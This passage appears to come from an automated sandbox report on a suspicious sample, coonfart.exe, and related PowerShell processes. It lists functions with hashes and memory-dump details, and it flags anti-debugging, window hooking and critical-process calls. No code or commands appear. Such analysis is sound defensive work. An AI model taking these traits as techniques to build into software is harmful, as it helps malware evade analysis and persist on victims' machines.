Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 010f71a0800be35a7bf5222b364b8425164bf5b63b27e7d666aaf782c8786a5e
Instruction ID: 4f9fa9975bec6cd23a84eddf3443acb48ca4add1659b2cb75e763097edf6e593
Opcode Fuzzy Hash: 010f71a0800be35a7bf5222b364b8425164bf5b63b27e7d666aaf782c8786a5e
Instruction Fuzzy Hash: 5F514630A0D68C8FDB55EFA8C8456EABFF0FF15310F0502AAD459C71A2DB74A945CB91

Function 00007FFD9BAAA2A1 Relevance: 1.8, APIs: 1, Instructions: 263
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowsHookExW.USER32 ref: 00007FFD9BAAA461

Memory Dump Source

Source File: 00000002.00000002.2934430956.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 5ccaf23a09a1402027c23096190893f1d6514c22ec5537f418f4755c0362bbc3
Instruction ID: 6e1246a72d37c0b16e3b91314b29b707d49eb33d072e9b6a2fe09c4095c115ed
Opcode Fuzzy Hash: 5ccaf23a09a1402027c23096190893f1d6514c22ec5537f418f4755c0362bbc3
Instruction Fuzzy Hash: 82711731A0CA4C4FDB59DB68D8566F9BBE1EF59321F00427FD009C31A2CB756806CB91

Function 00007FFD9BAA9D6D Relevance: 1.7, APIs: 1, Instructions: 228
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlSetProcessIsCritical.NTDLL ref: 00007FFD9BAA9F22

Memory Dump Source

Source File: 00000002.00000002.2934430956.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID: CriticalProcess
String ID:
API String ID: 2695349919-0
Opcode ID: b210ca9005b22724c511572e8c03dbe10301a78584f17e5f5be0f827ab549159
Instruction ID: f22e0bcb7e9f2389a72f68a7c32bcacb8ad6ffb5f46ddab44a8ecf06d6ebc555
Opcode Fuzzy Hash: b210ca9005b22724c511572e8c03dbe10301a78584f17e5f5be0f827ab549159
Instruction Fuzzy Hash: 4461353190CA4C8FCB19DFA8C8596E97BF1FF59310F04416EE08AC3192DB38A946CB91

Function 00007FFD9BAA7AD1 Relevance: 1.7, APIs: 1, Instructions: 204
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32 ref: 00007FFD9BAA7B80

Memory Dump Source

Source File: 00000002.00000002.2934430956.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 5019649d89aea01a17b6125c610519ab8e7a3c6a04668a0e6ddb7279f351b416
Instruction ID: 4bd12cedada0aff1bb578a1339c0fe6326cc92429ccc843ee18276525e42718b
Opcode Fuzzy Hash: 5019649d89aea01a17b6125c610519ab8e7a3c6a04668a0e6ddb7279f351b416
Instruction Fuzzy Hash: 2061543190D68C8FCB55DF68C8456EA7FF0FF15320F0502AAD459C71A2DA78A945C791

Analysis Process: powershell.exePID: 3288, Parent PID: 4320COMMON

Executed Functions

Function 00007FFD9BB9660A Relevance: 1.7, Strings: 1, Instructions: 435COMMON

Download Yara Rule

Strings

X7MX, xrefs: 00007FFD9BB967FD

Memory Dump Source

Source File: 00000006.00000002.1861013891.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID: X7MX
API String ID: 0-784262090
Opcode ID: b7899c12ca1ec893207700833dd1bcbff970cec3500d1762e4ea86f1a18b8118
Instruction ID: 9f6db45bddec20d6c7d25582df9b572834c093d237da068a93b45fe0a0b77d19
Opcode Fuzzy Hash: b7899c12ca1ec893207700833dd1bcbff970cec3500d1762e4ea86f1a18b8118
Instruction Fuzzy Hash: 8DD12732A0FA8E0FE765AB6888755B57BA0FF16398B0901BFD45EC70E3D918A905C341

Function 00007FFD9B9AE380 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

.`qG, xrefs: 00007FFD9B9AE416

Memory Dump Source

Source File: 00000006.00000002.1859355324.00007FFD9B9AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9b9ad000_powershell.jbxd

Similarity

API ID:
String ID: .`qG
API String ID: 0-4158804149
Opcode ID: 93bf0f6f77ac8c80904ce92e69d7fcefa3bfd21dbba5ebfa23f8d5418f155cf7
Instruction ID: fd995c6eebbed06d0e585ee70449ae89688898f9c474dea8059214187d550d76
Opcode Fuzzy Hash: 93bf0f6f77ac8c80904ce92e69d7fcefa3bfd21dbba5ebfa23f8d5418f155cf7
Instruction Fuzzy Hash: 7841277050EFC85FE7669B7898559523FF0EF52310B2605EFD088CB1A3DA25E806C792

Function 00007FFD9BB94073 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1861013891.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86d8d1884b5c141d6440e94b2b5c8bda665390e4c35ffe0edbafd409bb4b79af
Instruction ID: 2b72320196a2a0ea2fb4afbcf5907e0711ef965e4e08bd260640a0f333435176
Opcode Fuzzy Hash: 86d8d1884b5c141d6440e94b2b5c8bda665390e4c35ffe0edbafd409bb4b79af
Instruction Fuzzy Hash: EC513322B0EA5A0FE7B9CA6C94226747BD2FF95328B1A01BFD15DC71E7DE14E8018341

Function 00007FFD9BB94370 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1861013891.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71f28f2ea5d5f240a862ad28dd37247e95b5ac19bc7856d0860f45a4775e26e9
Instruction ID: b2d00f15a9126aa3767937409efaa4eba275ce1b8a9b404135d3c2c2bbaabd0c
Opcode Fuzzy Hash: 71f28f2ea5d5f240a862ad28dd37247e95b5ac19bc7856d0860f45a4775e26e9
Instruction Fuzzy Hash: EF410222B0EA494FEBB9D668A4715B577D1FF84328B0A01BED15DC71E7EE14AD018381

Function 00007FFD9BAC9738 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1860193001.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d11c722d27748a19fc6d9bb0b5a901e33aba798fd764cc644a2612b2fd9877f
Instruction ID: b40dc13dac117dc7baaaf30c610a5308b8f4e29bcd3e8a458504ac23a497f0aa
Opcode Fuzzy Hash: 4d11c722d27748a19fc6d9bb0b5a901e33aba798fd764cc644a2612b2fd9877f
Instruction Fuzzy Hash: 8B411831A0DB884FDB59AF5C981A6F87BE0FB95310F14422FE44CC3292CA60A9558BC2

Function 00007FFD9BACA47C Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1860193001.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77b90bef153ee694c99e155d3fc6094435b3be6c240bb6f41072c9b7adee31cb
Instruction ID: 0ae8c6f82051dcab0c13c0777dd514cb5e54c81625bb0257de6d727644ca379c
Opcode Fuzzy Hash: 77b90bef153ee694c99e155d3fc6094435b3be6c240bb6f41072c9b7adee31cb
Instruction Fuzzy Hash: 7A210A3090C64C8FEB58EF9CD84A7F97BF0EB96321F04426BD449C7156DA74A416CB91

Function 00007FFD9BB940BF Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1861013891.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bf50fc180ec0d26bc8f23ca9e0c0d5944a874b6eabd8964ff2e07a687641093
Instruction ID: aa664e2da780dff3be2a00fa26e5ce5dd5b8321eed159c65380a1612e0524627
Opcode Fuzzy Hash: 7bf50fc180ec0d26bc8f23ca9e0c0d5944a874b6eabd8964ff2e07a687641093
Instruction Fuzzy Hash: FC21BF22B0FA9A4FE7B9DA5884721746AD1FF6531CB5A01BED05DC71E2DE28ED018341

Function 00007FFD9BACA065 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1860193001.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc6a4c3bef090fcb44ce30e97d8b436b1044b8510d302b6dd31ea497968f01b4
Instruction ID: 2e2b2628a51e31018b32e27b9005b7d209c2fac4f1953229ae4d3bfbad396c5d
Opcode Fuzzy Hash: cc6a4c3bef090fcb44ce30e97d8b436b1044b8510d302b6dd31ea497968f01b4
Instruction Fuzzy Hash: 7B314932A0D6865FD715BB6C98724F53B60EF1121EB4902F7E8AD8F0E7DD142404C792

Function 00007FFD9BB943BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1861013891.00007FFD9BB90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BB90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bb90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257e8b6ec45deef4443ba6da30a02b2dc644799f0a0fcc9cbdd718a9a4b072f5
Instruction ID: cd783ffe92df504627cfe9a8ae663f0f18956ccf831e46bd2fb7f6c3c9705829
Opcode Fuzzy Hash: 257e8b6ec45deef4443ba6da30a02b2dc644799f0a0fcc9cbdd718a9a4b072f5
Instruction Fuzzy Hash: F6119E32B0F5494FEBB9D66894705B477D0FF4432875600BAE55DC75E2DA18AD018241

Function 00007FFD9BAC33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1860193001.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: ee59faf03481a4826278b3042e26341a3348b81f49576dea66fea955f9f1e53b
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 5801447121CB0C4FD748EF0CE451AA5B7E0FB95364F10066DE58AC76A5DA36E882CB45

Non-executed Functions

Function 00007FFD9BAC8BFA Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

L_^7, xrefs: 00007FFD9BAC8C12
L_^J, xrefs: 00007FFD9BAC8C8A
L_^F, xrefs: 00007FFD9BAC8C7A
L_^4, xrefs: 00007FFD9BAC8BFA

Memory Dump Source

Source File: 00000006.00000002.1860193001.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID: L_^4$L_^7$L_^F$L_^J
API String ID: 0-3225005683
Opcode ID: 02d8dffb2fc30e881c9c0a44405cd32b71f90e60e1d62c3e6a1fe4010585dcda
Instruction ID: 43fdcd20ffc9d2af122bb42f72b332c49d5e1598f20534deb8450d3e3c738289
Opcode Fuzzy Hash: 02d8dffb2fc30e881c9c0a44405cd32b71f90e60e1d62c3e6a1fe4010585dcda
Instruction Fuzzy Hash: 0D21F6B77085255ED315BBBDBC159ED3740CFA827A34552F3E2A98F093EA147086CAD0

Analysis Process: powershell.exePID: 7492, Parent PID: 4320COMMON

Executed Functions

Function 00007FFD9BBA6605 Relevance: .4, Instructions: 441COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1970908047.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f79c078f835db328bf9fcd79eb27e6aceef166cc92749d23f647b5477bb3488f
Instruction ID: 4319d3c3b4a02961e9b9e4956d5ef8f692bf21c5ae6076fc8503d343d9acd715
Opcode Fuzzy Hash: f79c078f835db328bf9fcd79eb27e6aceef166cc92749d23f647b5477bb3488f
Instruction Fuzzy Hash: C4D12772E0E68E0FEBA5A7A848655B97BE1FF16218B0901FFD45EC70E3D918A905C341

Function 00007FFD9BBA4073 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1970908047.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b51aae79bcbb2d436a74733c7b38e73a12a3bc942bccdd78a34c412fce3c4f6c
Instruction ID: b58a16dc63235d82c4b0fd76be0e8d7c1e9bd2977a56cd4053469b56cf85c110
Opcode Fuzzy Hash: b51aae79bcbb2d436a74733c7b38e73a12a3bc942bccdd78a34c412fce3c4f6c
Instruction Fuzzy Hash: 73513522F0EA4A0FE7A9CA5C44226747BD2FF94324B1A01BFD15DC71E3DE14E8018381

Function 00007FFD9BAD9750 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1969967114.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e55aa7b6a2351b9803421b38e21ef78a578ce5dd0dd8938e13a2af8d3913deb
Instruction ID: e17861de91ed895ea59546b696d59f3fccac0932787d030864ca1222d2234aaa
Opcode Fuzzy Hash: 2e55aa7b6a2351b9803421b38e21ef78a578ce5dd0dd8938e13a2af8d3913deb
Instruction Fuzzy Hash: 21413871A0DB894FE7199F5C9C0A6B8BFE0FB95310F0441BFE49C83193DA64A949C782

Function 00007FFD9BBA4370 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1970908047.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25229e9fbb8f83055d9b7e3fdc6314d6fd7dd8a73a42fca31b0d79e603a8b3f2
Instruction ID: 57b4a030df76f125dd8ef45a43c8ebdfbe0044157c83c2cafd0cc084258a9a66
Opcode Fuzzy Hash: 25229e9fbb8f83055d9b7e3fdc6314d6fd7dd8a73a42fca31b0d79e603a8b3f2
Instruction Fuzzy Hash: 39410332F0EA494FEBA9E66854715B877D1FF84724B0A01BED15DC71E7EE14AD018381

Function 00007FFD9B9BE540 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1968984311.00007FFD9B9BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9b9bd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 290c4172bce9bfa990cbdd6dcd8375b29388e2249b004fc0f45f343cd7110b95
Instruction ID: 2245340b31ed03c6bec8785ef32dc5557a2d38f60fcd0dc6d7a17caff322be63
Opcode Fuzzy Hash: 290c4172bce9bfa990cbdd6dcd8375b29388e2249b004fc0f45f343cd7110b95
Instruction Fuzzy Hash: BE41267041EFC85FE7968B3898559523FF4EF52320B1A06DFD088CB1A7D625A845CB92

Function 00007FFD9BADA4BC Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1969967114.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17881bbeece17421fdb09816f62da900eef9c48c386c411bde4d596f9cb558a6
Instruction ID: 64efbf9dd3b5285f184a85c0b8db013e3dc8bdce2f674e26c4d1766146441c0f
Opcode Fuzzy Hash: 17881bbeece17421fdb09816f62da900eef9c48c386c411bde4d596f9cb558a6
Instruction Fuzzy Hash: 5021283090C74C4FDB59DBACD84ABE97FE0EB96321F04426FD049C7162D674A40ACB91

Function 00007FFD9BBA40BF Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1970908047.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d6582b5c0cd90a82d75d4fe3bc0b2657e23b78f69cd5deea5ce2eaeb5850b2e
Instruction ID: 8f3f31c0d16038c2a886e833c10323ba73bb447c9b18f40053037942512afcda
Opcode Fuzzy Hash: 9d6582b5c0cd90a82d75d4fe3bc0b2657e23b78f69cd5deea5ce2eaeb5850b2e
Instruction Fuzzy Hash: 9B21AE22F0EA8A4FE7B9DA5844621746AD1FF65228B5A01BED05DC71E2DE28ED058341

Function 00007FFD9BBA43BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1970908047.00007FFD9BBA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bba0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149fa8b149a65b74720b5563e32eb085f53246f4d58e4dffa9e867541377159d
Instruction ID: be37ddf4c1d7db2740ba96e6a888439b47d0ad11a57fb59b08bca892a17bc22f
Opcode Fuzzy Hash: 149fa8b149a65b74720b5563e32eb085f53246f4d58e4dffa9e867541377159d
Instruction Fuzzy Hash: 8811CE32E0F5494FE7A4E65894705B436D0FF4432874600BAE12DC75E2DE18AD008240

Function 00007FFD9BADA0FB Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1969967114.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd93356a1463f4d4f28ff555b6bc0498ce500e0181337948aece19b2580e779
Instruction ID: 296d2ceb67c60ef4a0224e054a89ec95b70b2560ea98d9a1348d41861dc4567e
Opcode Fuzzy Hash: 3cd93356a1463f4d4f28ff555b6bc0498ce500e0181337948aece19b2580e779
Instruction Fuzzy Hash: 9B11C87A98FBCE0FDB529F6898A50D47FA0FF61200B0603BBE188C7062EA5569098741

Function 00007FFD9BAD33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.1969967114.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: c6d341720b75168737bcbbb658bbc6ed62dea96e630f77678b5119a0e236c73e
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: EF01677121CB0C4FD748EF0CE451AA5B7E0FF95364F10066DE58AC76A5DA36E882CB45

Non-executed Functions

Function 00007FFD9BAD8BF2 Relevance: 10.1, Strings: 8, Instructions: 85COMMON

Download Yara Rule

Strings

K_^<, xrefs: 00007FFD9BAD8C12
K_^?, xrefs: 00007FFD9BAD8C2A
K_^N, xrefs: 00007FFD9BAD8C72
K_^Q, xrefs: 00007FFD9BAD8C8A
K_^8, xrefs: 00007FFD9BAD8BF2
K_^K, xrefs: 00007FFD9BAD8C6A
K_^Y, xrefs: 00007FFD9BAD8CBA
K_^J, xrefs: 00007FFD9BAD8C62

Memory Dump Source

Source File: 0000000C.00000002.1969967114.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID: K_^8$K_^<$K_^?$K_^J$K_^K$K_^N$K_^Q$K_^Y
API String ID: 0-2350917820
Opcode ID: 227aa69b1fbc1c82fa311b63e9fce6667358cd8e78cee4ad2729eeab0005292d
Instruction ID: 68706fd38280e95dbe556879bdf64a4c88f95ab225e6ad10c9ade5bef371666a
Opcode Fuzzy Hash: 227aa69b1fbc1c82fa311b63e9fce6667358cd8e78cee4ad2729eeab0005292d
Instruction Fuzzy Hash: 4021F273A085155ACB1676ACBC519D867A0DF6837E34502F3F428CF093D918A48B8680

Function 00007FFD9BAD89F2 Relevance: 5.1, Strings: 4, Instructions: 90COMMON

Download Yara Rule

Strings

K_^, xrefs: 00007FFD9BAD8A12
K_^, xrefs: 00007FFD9BAD8A62
K_^, xrefs: 00007FFD9BAD89F2
K_^, xrefs: 00007FFD9BAD8A7A

Memory Dump Source

Source File: 0000000C.00000002.1969967114.00007FFD9BAD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffd9bad0000_powershell.jbxd

Similarity

API ID:
String ID: K_^$K_^$K_^$K_^
API String ID: 0-3666970850
Opcode ID: f7af087bbb81df3482801f28b4b7c3ca217ef0d0fea6360d3b350f743720a386
Instruction ID: 2664f21b3d0235cf6a3b4e9f532d1598b6bf4da37f71ad47ca346c69427890b6
Opcode Fuzzy Hash: f7af087bbb81df3482801f28b4b7c3ca217ef0d0fea6360d3b350f743720a386
Instruction Fuzzy Hash: 0531C7A2F0F6D60BEB26576948B55D53FA0EF5222870E43F6C4E88F0A7EC1869068211

Analysis Process: coonfart.exePID: 7720, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9BAA16D9 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1eaf6258d4d2526b0afb2b9060c884526127cd05ba74b07c82b7c6b92a086bd
Instruction ID: dc1e3f5c7369506948d1adcd315aaed95e456fc0755d77d9012c091711e39c4a
Opcode Fuzzy Hash: c1eaf6258d4d2526b0afb2b9060c884526127cd05ba74b07c82b7c6b92a086bd
Instruction Fuzzy Hash: 76420721B29A494FE768EB788475BBC77D2FFA9314F54067DE04EC32D6CE68A8418341

Function 00007FFD9BAA2141 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ab4eae3456c889171830a04c9a3e7dde2609e61bb94967e381af2d990a0808
Instruction ID: 698358c478637d38f940dc45fcbd3a684d06a47b031681d42f015c76a33747b9
Opcode Fuzzy Hash: 25ab4eae3456c889171830a04c9a3e7dde2609e61bb94967e381af2d990a0808
Instruction Fuzzy Hash: 46512E20B1E6C90FD796ABB84834675BFE5DF87225B0805FBE0C9CA2E7DD481846C352

Function 00007FFD9BAA1255 Relevance: .5, Instructions: 472COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df846c3f8ba7d1837057eb8fe1bccb196d1fbeed9d2897238d70289db9bdbde1
Instruction ID: 73f951f764945c2598c530d0b4bf74a64e82540db1a86f3386b08f3a9f7c57b7
Opcode Fuzzy Hash: df846c3f8ba7d1837057eb8fe1bccb196d1fbeed9d2897238d70289db9bdbde1
Instruction Fuzzy Hash: A631C733A0E7864FD715E77C98B50E57BB1EF5222970901BBD095CE0A3DD18694AC350

Function 00007FFD9BAA1242 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e1608f22e103fd514254c19dd4a3a9782da5d7ba987fe1282241f86aabbf53
Instruction ID: c6bae162e3bb159b67c3cb7ca945fc7aff504f20af0e122972d4680f6693a8a4
Opcode Fuzzy Hash: f3e1608f22e103fd514254c19dd4a3a9782da5d7ba987fe1282241f86aabbf53
Instruction Fuzzy Hash: A121F823F0E7CA1FE761976C98B10D97BA1EFA2265B0901BBC0D4CE0E3DC14684AC360

Function 00007FFD9BAA0E4E Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71952f15e00e98e14f73c5a970e60c9c2beb480764a56ee24d59b6968bbf119a
Instruction ID: 0159892c35592c1cd8dd83b13db16cfd5c17247121fb9a47fabe50fe887d0e65
Opcode Fuzzy Hash: 71952f15e00e98e14f73c5a970e60c9c2beb480764a56ee24d59b6968bbf119a
Instruction Fuzzy Hash: F6512621B0E68A0FE366A77C98255B93BD2DF8623570941FBE48DCB1E7DC085C468362

Function 00007FFD9BAA0B5F Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.1963350845.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9baa0000_coonfart.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b3b6e7cfc0d5def515460c3eb76c3271fdbb8b1d907b6fd7b870309aa787cf
Instruction ID: 45f78b536514b8c0e3ae822be62ce2376063eb0c59ff93f2bdfb7a9149272602
Opcode Fuzzy Hash: 26b3b6e7cfc0d5def515460c3eb76c3271fdbb8b1d907b6fd7b870309aa787cf
Instruction Fuzzy Hash: 5A41D436B14A1E8FDB44EBA8D861AED77A1FF98319F50067AD008D72D6CE346845C790

Function 00007FFD9BAA07A5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

